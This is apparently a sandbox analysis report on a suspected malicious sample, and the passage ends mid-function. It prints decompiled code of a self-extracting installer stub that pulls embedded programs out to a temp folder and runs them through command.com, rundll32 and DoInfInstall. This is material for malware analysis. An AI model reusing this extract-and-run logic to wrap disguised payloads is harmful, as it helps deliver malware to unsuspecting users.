				_t153 = 0;
				 *0xf89124 =  *0xf89124 & 0;
				_t149 = 0;
				_v388 = 0;
				_v384 = 0;
				_t165 =  *0xf88a28 - _t153; // 0x0
				if(_t165 != 0) {
					L3:
					_t127 = 0;
					_v392 = 0;
					while(1) {
						_v400 = _v400 & 0x00000000;
						memset( &_v348, 0, 0x44);
						_t164 = _t164 + 0xc;
						_v348 = 0x44;
						if( *0xf88c42 != 0) {
							goto L26;
						}
						_t146 =  &_v396;
						_t115 = E00F8468F("SHOWWINDOW",  &_v396, 4);
						if(_t115 == 0 || _t115 > 4) {
							L25:
							_t146 = 0x4b1;
							E00F844B9(0, 0x4b1, 0, 0, 0x10, 0);
							 *0xf89124 = 0x80070714;
							goto L62;
						} else {
							if(_v396 != 1) {
								__eflags = _v396 - 2;
								if(_v396 != 2) {
									_t137 = 3;
									__eflags = _v396 - _t137;
									if(_v396 == _t137) {
										_v304 = 1;
										_v300 = _t137;
									}
									goto L14;
								}
								_push(6);
								_v304 = 1;
								_pop(0);
								goto L11;
							} else {
								_v304 = 1;
								L11:
								_v300 = 0;
								L14:
								if(_t127 != 0) {
									L27:
									_t155 = 1;
									__eflags = _t127 - 1;
									if(_t127 != 1) {
										L31:
										_t132 =  &_v280;
										_t76 = E00F81AE8( &_v280,  &_v408,  &_v404); // executed
										__eflags = _t76;
										if(_t76 == 0) {
											L62:
											_t77 = 0;
											L63:
											_pop(_t150);
											_pop(_t156);
											_pop(_t128);
											return E00F86CE0(_t77, _t128, _v12 ^ _t164, _t146, _t150, _t156);
										}
										_t157 = _v404;
										__eflags = _t149;
										if(_t149 != 0) {
											L37:
											__eflags = _t157;
											if(_t157 == 0) {
												L57:
												_t151 = _v408;
												_t146 =  &_v352;
												_t130 = _t151; // executed
												_t79 = E00F83FEF(_t130,  &_v352); // executed
												__eflags = _t79;
												if(_t79 == 0) {
													L61:
													LocalFree(_t151);
													goto L62;
												}
												L58:
												LocalFree(_t151);
												_t127 = _t127 + 1;
												_v396 = _t127;
												__eflags = _t127 - 2;
												if(_t127 >= 2) {
													_t155 = 1;
													__eflags = 1;
													L69:
													__eflags =  *0xf88580;
													if( *0xf88580 != 0) {
														E00F82267();
													}
													_t77 = _t155;
													goto L63;
												}
												_t153 = _v392;
												_t149 = _v388;
												continue;
											}
											L38:
											__eflags =  *0xf88180;
											if( *0xf88180 == 0) {
												_t146 = 0x4c7;
												E00F844B9(0, 0x4c7, 0, 0, 0x10, 0);
												LocalFree(_v424);
												 *0xf89124 = 0x8007042b;
												goto L62;
											}
											__eflags = _t157;
											if(_t157 == 0) {
												goto L57;
											}
											__eflags =  *0xf89a34 & 0x00000004;
											if(__eflags == 0) {
												goto L57;
											}
											_t129 = E00F86495(_t127, _t132, _t157, __eflags);
											__eflags = _t129;
											if(_t129 == 0) {
												_t146 = 0x4c8;
												E00F844B9(0, 0x4c8, "advpack.dll", 0, 0x10, 0);
												L65:
												LocalFree(_v408);
												 *0xf89124 = E00F86285();
												goto L62;
											}
											_t146 = GetProcAddress(_t129, "DoInfInstall");
											_v404 = _t146;
											__eflags = _t146;
											if(_t146 == 0) {
												_t146 = 0x4c9;
												__eflags = 0;
												E00F844B9(0, 0x4c9, "DoInfInstall", 0, 0x10, 0);
												FreeLibrary(_t129);
												goto L65;
											}
											__eflags =  *0xf88a30;
											_t151 = _v408;
											_v384 = 0;
											_v368 =  &_v280;
											_t96 =  *0xf89a40; // 0x3
											_v364 = _t96;
											_t97 =  *0xf88a38 & 0x0000ffff;
											_v380 = 0xf89154;
											_v376 = _t151;
											_v372 = 0xf891e4;
											_v360 = _t97;
											if( *0xf88a30 != 0) {
												_t97 = _t97 | 0x00010000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t144 =  *0xf89a34; // 0x1
											__eflags = _t144 & 0x00000008;
											if((_t144 & 0x00000008) != 0) {
												_t97 = _t97 | 0x00020000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t144 & 0x00000010;
											if((_t144 & 0x00000010) != 0) {
												_t97 = _t97 | 0x00040000;
												__eflags = _t97;
												_v360 = _t97;
											}
											_t145 =  *0xf88d48; // 0x0
											__eflags = _t145 & 0x00000040;
											if((_t145 & 0x00000040) != 0) {
												_t97 = _t97 | 0x00080000;
												__eflags = _t97;
												_v360 = _t97;
											}
											__eflags = _t145;
											if(_t145 < 0) {
												_t104 = _t97 | 0x00100000;
												__eflags = _t104;
												_v360 = _t104;
											}
											_t98 =  *0xf89a38; // 0x0
											_v356 = _t98;
											_t130 = _t146;
											 *0xf8a288( &_v384);
											_t101 = _v404();
											__eflags = _t164 - _t164;
											if(_t164 != _t164) {
												_t130 = 4;
												asm("int 0x29");
											}
											 *0xf89124 = _t101;
											_push(_t129);
											__eflags = _t101;
											if(_t101 < 0) {
												FreeLibrary();
												goto L61;
											} else {
												FreeLibrary();
												_t127 = _v400;
												goto L58;
											}
										}
										__eflags =  *0xf89a40 - 1; // 0x3
										if(__eflags == 0) {
											goto L37;
										}
										__eflags =  *0xf88a20;
										if( *0xf88a20 == 0) {
											goto L37;
										}
										__eflags = _t157;
										if(_t157 != 0) {
											goto L38;
										}
										_v388 = 1;
										E00F8202A(_t146); // executed
										goto L37;
									}
									_t146 =  &_v280;
									_t108 = E00F8468F("POSTRUNPROGRAM",  &_v280, 0x104);
									__eflags = _t108;
									if(_t108 == 0) {
										goto L25;
									}
									__eflags =  *0xf88c42;
									if( *0xf88c42 != 0) {
										goto L69;
									}
									_t112 = CompareStringA(0x7f, 1,  &_v280, 0xffffffff, "<None>", 0xffffffff);
									__eflags = _t112 == 0;
									if(_t112 == 0) {
										goto L69;
									}
									goto L31;
								}
								_t118 =  *0xf88a38; // 0x0
								if(_t118 == 0) {
									L23:
									if(_t153 != 0) {
										goto L31;
									}
									_t146 =  &_v276;
									if(E00F8468F("RUNPROGRAM",  &_v276, 0x104) != 0) {
										goto L27;
									}
									goto L25;
								}
								if((_t118 & 0x00000001) == 0) {
									__eflags = _t118 & 0x00000002;
									if((_t118 & 0x00000002) == 0) {
										goto L62;
									}
									_t140 = "USRQCMD";
									L20:
									_t146 =  &_v276;
									if(E00F8468F(_t140,  &_v276, 0x104) == 0) {
										goto L25;
									}
									if(CompareStringA(0x7f, 1,  &_v276, 0xffffffff, "<None>", 0xffffffff) - 2 != 0xfffffffe) {
										_t153 = 1;
										_v388 = 1;
									}
									goto L23;
								}
								_t140 = "ADMQCMD";
								goto L20;
							}
						}
						L26:
						_push(_t130);
						_t146 = 0x104;
						E00F81781( &_v276, 0x104, _t130, 0xf88c42);
						goto L27;
					}
				}
				_t130 = "REBOOT";
				_t125 = E00F8468F(_t130, 0xf89a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x00f83baa
0x00f83bb0
0x00f83bb7
0x00f83bc0
0x00f83bc2
0x00f83bc9
0x00f83bcb
0x00f83bcf
0x00f83bd3
0x00f83bd9
0x00f83bfd
0x00f83bfd
0x00f83bff
0x00f83c03
0x00f83c03
0x00f83c11
0x00f83c16
0x00f83c19
0x00f83c28
0x00000000
0x00000000
0x00f83c30
0x00f83c39
0x00f83c40
0x00f83d13
0x00f83d15
0x00f83d21
0x00f83d26
0x00000000
0x00f83c4f
0x00f83c56
0x00f83c60
0x00f83c65
0x00f83c77
0x00f83c78
0x00f83c7c
0x00f83c7e
0x00f83c82
0x00f83c82
0x00000000
0x00f83c7c
0x00f83c67
0x00f83c69
0x00f83c6d
0x00000000
0x00f83c58
0x00f83c58
0x00f83c6e
0x00f83c6e
0x00f83c87
0x00f83c89
0x00f83d4d
0x00f83d4f
0x00f83d50
0x00f83d52
0x00f83d9e
0x00f83da8
0x00f83daf
0x00f83db4
0x00f83db6
0x00f83f4d
0x00f83f4d
0x00f83f4f
0x00f83f56
0x00f83f57
0x00f83f58
0x00f83f63
0x00f83f63
0x00f83dbc
0x00f83dc0
0x00f83dc2
0x00f83de6
0x00f83de6
0x00f83de8
0x00f83f0b
0x00f83f0b
0x00f83f0f
0x00f83f13
0x00f83f15
0x00f83f1a
0x00f83f1c
0x00f83f46
0x00f83f47
0x00000000
0x00f83f47
0x00f83f1e
0x00f83f1f
0x00f83f25
0x00f83f26
0x00f83f2a
0x00f83f2d
0x00f83fd9
0x00f83fd9
0x00f83fda
0x00f83fda
0x00f83fe1
0x00f83fe3
0x00f83fe3
0x00f83fe8
0x00000000
0x00f83fe8
0x00f83f33
0x00f83f37
0x00000000
0x00f83f37
0x00f83dee
0x00f83dee
0x00f83df5
0x00f83fad
0x00f83fb9
0x00f83fc2
0x00f83fc8
0x00000000
0x00f83fc8
0x00f83dfb
0x00f83dfd
0x00000000
0x00000000
0x00f83e03
0x00f83e0a
0x00000000
0x00000000
0x00f83e15
0x00f83e17
0x00f83e19
0x00f83f94
0x00f83fa4
0x00f83f7c
0x00f83f80
0x00f83f8b
0x00000000
0x00f83f8b
0x00f83e2c
0x00f83e30
0x00f83e34
0x00f83e36
0x00f83f69
0x00f83f6e
0x00f83f70
0x00f83f76
0x00000000
0x00f83f76
0x00f83e3c
0x00f83e43
0x00f83e47
0x00f83e52
0x00f83e56
0x00f83e5c
0x00f83e61
0x00f83e68
0x00f83e70
0x00f83e74
0x00f83e7c
0x00f83e80
0x00f83e82
0x00f83e82
0x00f83e87
0x00f83e87
0x00f83e8b
0x00f83e91
0x00f83e94
0x00f83e96
0x00f83e96
0x00f83e9b
0x00f83e9b
0x00f83e9f
0x00f83ea2
0x00f83ea4
0x00f83ea4
0x00f83ea9
0x00f83ea9
0x00f83ead
0x00f83eb3
0x00f83eb6
0x00f83eb8
0x00f83eb8
0x00f83ebd
0x00f83ebd
0x00f83ec1
0x00f83ec3
0x00f83ec5
0x00f83ec5
0x00f83eca
0x00f83eca
0x00f83ece
0x00f83ed5
0x00f83ed9
0x00f83ee0
0x00f83ee6
0x00f83eea
0x00f83eec
0x00f83eee
0x00f83ef3
0x00f83ef3
0x00f83ef5
0x00f83efa
0x00f83efb
0x00f83efd
0x00f83f40
0x00000000
0x00f83eff
0x00f83eff
0x00f83f05
0x00000000
0x00f83f05
0x00f83efd
0x00f83dc7
0x00f83dce
0x00000000
0x00000000
0x00f83dd0
0x00f83dd7
0x00000000
0x00000000
0x00f83dd9
0x00f83ddb
0x00000000
0x00000000
0x00f83ddd
0x00f83de1
0x00000000
0x00f83de1
0x00f83d59
0x00f83d65
0x00f83d6a
0x00f83d6c
0x00000000
0x00000000
0x00f83d6e
0x00f83d75
0x00000000
0x00000000
0x00f83d8f
0x00f83d96
0x00f83d98
0x00000000
0x00000000
0x00000000
0x00f83d98
0x00f83c8f
0x00f83c98
0x00f83cf1
0x00f83cf3
0x00000000
0x00000000
0x00f83cfe
0x00f83d11
0x00000000
0x00000000
0x00000000
0x00f83d11
0x00f83c9c
0x00f83ca5
0x00f83ca7
0x00000000
0x00000000
0x00f83cad
0x00f83cb2
0x00f83cb7
0x00f83cc5
0x00000000
0x00000000
0x00f83ce8
0x00f83cec
0x00f83ced
0x00f83ced
0x00000000
0x00f83ce8
0x00f83c9e
0x00000000
0x00f83c9e
0x00f83c56
0x00f83d35
0x00f83d35
0x00f83d3c
0x00f83d48
0x00000000
0x00f83d48
0x00f83c03
0x00f83be2
0x00f83be7
0x00f83bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 00F83C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00F83CDC

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00F88C42), ref: 00F83D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00F83E26
FreeLibrary.KERNEL32(00000000,?,00F88C42), ref: 00F83EFF
LocalFree.KERNEL32(?,?,?,?,00F88C42), ref: 00F83F1F
FreeLibrary.KERNEL32(00000000,?,00F88C42), ref: 00F83F40
LocalFree.KERNEL32(?,?,?,?,00F88C42), ref: 00F83F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00F88C42), ref: 00F83F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00F88C42), ref: 00F83F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00F88C42), ref: 00F83FC2

Strings

USRQCMD, xrefs: 00F83CAD
POSTRUNPROGRAM, xrefs: 00F83D60
SHOWWINDOW, xrefs: 00F83C34
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F83E74
RUNPROGRAM, xrefs: 00F83D05
DoInfInstall, xrefs: 00F83E1F, 00F83E24, 00F83F68
ADMQCMD, xrefs: 00F83C9E
REBOOT, xrefs: 00F83BE2
advpack.dll, xrefs: 00F83F9D
zhiga, xrefs: 00F83E68
<None>, xrefs: 00F83CC9, 00F83D7D
D, xrefs: 00F83C19

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$zhiga
API String ID: 1032054927-1156627247
Opcode ID: 0e18e8aaf6d7a4457ebeafd849d3a92c9d78a6be1d10c5da1dc0899021cb63e3
Instruction ID: a568d07caecc8feb6d8a913719d33642b45830e34247fb3029338a0eecd9d0eb
Opcode Fuzzy Hash: 0e18e8aaf6d7a4457ebeafd849d3a92c9d78a6be1d10c5da1dc0899021cb63e3
Instruction Fuzzy Hash: 30B11371A083059BD724FF248C45BFB76E4EB85B60F00092EFA85D61A1EB74D905FB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F81AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00F81AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E00F81680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E00F81A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E00F81781( &_v268, 0x104, _t111, "C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\");
					E00F8658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E00F81680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E00F866C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E00F866C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E00F81680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E00F81781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E00F816B3( &_v1552, 0x400, " ");
										E00F816B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E00F82AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E00F8171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E00F81A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E00F81A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E00F844B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0xf89120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0xf81140, _t156, 8,  &_v268) == 0) {
										 *0xf89a34 =  *0xf89a34 & 0xfffffffb;
										if( *0xf89a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E00F8171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0xf89a34 =  *0xf89a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E00F81680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E00F81680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E00F86CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x00f81af3
0x00f81afa
0x00f81b07
0x00f81b09
0x00f81b1a
0x00f81b20
0x00f81b2c
0x00f81b3b
0x00f81b40
0x00f81b2e
0x00f81b2e
0x00f81b33
0x00f81b33
0x00f81b46
0x00f81b4c
0x00f81b52
0x00f81b57
0x00f81b5d
0x00f81b61
0x00f81b9f
0x00f81b9f
0x00f81bb1
0x00f81bc2
0x00000000
0x00f81b63
0x00f81b63
0x00f81b65
0x00f81b68
0x00f81b68
0x00f81b6a
0x00f81b6b
0x00f81b6f
0x00f81b74
0x00000000
0x00000000
0x00f81b76
0x00f81b7b
0x00f81b86
0x00000000
0x00000000
0x00000000
0x00000000
0x00f81b8c
0x00f81b8c
0x00f81b98
0x00f81bc7
0x00f81bc9
0x00f81bcc
0x00f81bd3
0x00f81d75
0x00f81d76
0x00f81d78
0x00f81d7f
0x00f81e05
0x00f81e09
0x00000000
0x00000000
0x00f81e12
0x00f81e1b
0x00f81e73
0x00f81e21
0x00f81e21
0x00f81e28
0x00f81e37
0x00f81e3e
0x00f81e52
0x00f81e60
0x00f81e60
0x00f81e3e
0x00f81e79
0x00f81e7b
0x00f81e84
0x00000000
0x00f81d9b
0x00f81d9b
0x00f81da0
0x00f81da2
0x00f81da5
0x00f81da5
0x00f81da7
0x00f81da8
0x00f81dac
0x00f81dae
0x00f81db4
0x00f81db7
0x00f81db7
0x00f81db9
0x00f81dba
0x00f81dbe
0x00f81dc3
0x00f81dce
0x00f81dd2
0x00f81deb
0x00000000
0x00f81df0
0x00000000
0x00f81dd2
0x00f81bf7
0x00f81bfe
0x00f81c07
0x00f81d55
0x00f81d5a
0x00f81d5b
0x00f81d5d
0x00f81d5e
0x00000000
0x00f81c1b
0x00f81c1b
0x00f81c20
0x00f81c2c
0x00f81c33
0x00f81c38
0x00f81c3a
0x00f81c3a
0x00f81c40
0x00f81c4b
0x00f81c4b
0x00f81c5d
0x00f81c61
0x00f81dd4
0x00f81dd4
0x00f81dd6
0x00f81ddb
0x00f81ddc
0x00f81dde
0x00f81d64
0x00f81d64
0x00f81d67
0x00f81d6c
0x00000000
0x00f81c67
0x00f81c67
0x00f81c6d
0x00f81c72
0x00f81c74
0x00f81c74
0x00f81c8e
0x00f81c99
0x00f81cc0
0x00f81cf8
0x00f81d07
0x00f81d23
0x00f81d09
0x00f81d14
0x00f81d1b
0x00f81d1b
0x00f81d2b
0x00f81d2d
0x00f81d2d
0x00f81d38
0x00f81d39
0x00f81d46
0x00f81cc2
0x00f81cc2
0x00f81ccc
0x00f81cce
0x00f81cce
0x00f81cdb
0x00f81ce6
0x00f81cee
0x00f81cee
0x00f81e89
0x00f81e91
0x00f81e92
0x00f81e94
0x00f81e97
0x00f81ea4
0x00f81ea4
0x00f81c61
0x00f81c07
0x00f81bd3
0x00f81b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00F81BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00F81BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 00F81C57
GetPrivateProfileIntA.KERNEL32 ref: 00F81C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00F81140,00000000,00000008,?), ref: 00F81CB8
GetShortPathNameA.KERNEL32 ref: 00F81D1B

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 00F84554

Strings

rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00F81D3B
Command.com /c %s, xrefs: 00F81D9B, 00F81DE8
setupx.dll, xrefs: 00F81D14
setupapi.dll, xrefs: 00F81D23, 00F81D3A
C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F81BA0
.BAT, xrefs: 00F81D83
Version, xrefs: 00F81CB3
", xrefs: 00F81B25
Reboot, xrefs: 00F81C82
AdvancedINF, xrefs: 00F81CAE
DefaultInstall, xrefs: 00F81C74, 00F81C87, 00F81CCE, 00F81CD3, 00F81D2D, 00F81D39
.INF, xrefs: 00F81BDB

Memory Dump Source

Source File: 00000001.00000002.394128458.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.394122906.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394137580.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.394145109.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_brJg.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user~1\AppData\Local\Temp\IXP001.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3964152161
Opcode ID: b4df5650c66f4f732930e2488c914acf66414070d98e684b096a5600e56da6d3
Instruction ID: 66f4a994bea8bdc0173ff2bc56a85e3c9b5e05fac5a9d721caae0b54b5a0c35c
Opcode Fuzzy Hash: b4df5650c66f4f732930e2488c914acf66414070d98e684b096a5600e56da6d3
Instruction Fuzzy Hash: EAA13871E002185BEB20BB24CC49BFA776DFB81320F144795E555A32D1EBB49E87EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F82F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00F82F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr _t41;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;
				void* _t59;

				_t43 = __edx;
				_t9 =  *0xf88004; // 0x7e92e7a6
				_v8 = _t9 ^ _t46;
				if( *0xf88a38 != 0) {
					L5:
					_t11 = E00F85164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E00F86CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E00F855A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E00F8658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0xf8a288("C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\", 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0xf88a24 - _t44; // 0x0
						if(_t58 != 0) {
							L14:
							_t21 = SetCurrentDirectoryA("C:\Users\FRONTD~1\AppData\Local\Temp\IXP001.TMP\"); // executed
							if(_t21 != 0) {
								__eflags =  *0xf88a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0xf88d48 & 0x000000c0;
									if(( *0xf88d48 & 0x000000c0) == 0) {
										_t41 =  *0xf89a40; // 0x3, executed
										_t26 = E00F8256D(_t41); // executed
										_t44 = _t26;
									}
									_t22 =  *0xf88a24; // 0x0
									 *0xf89a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0xf88a38;
										if( *0xf88a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E00F84169(__eflags);
											}
										}
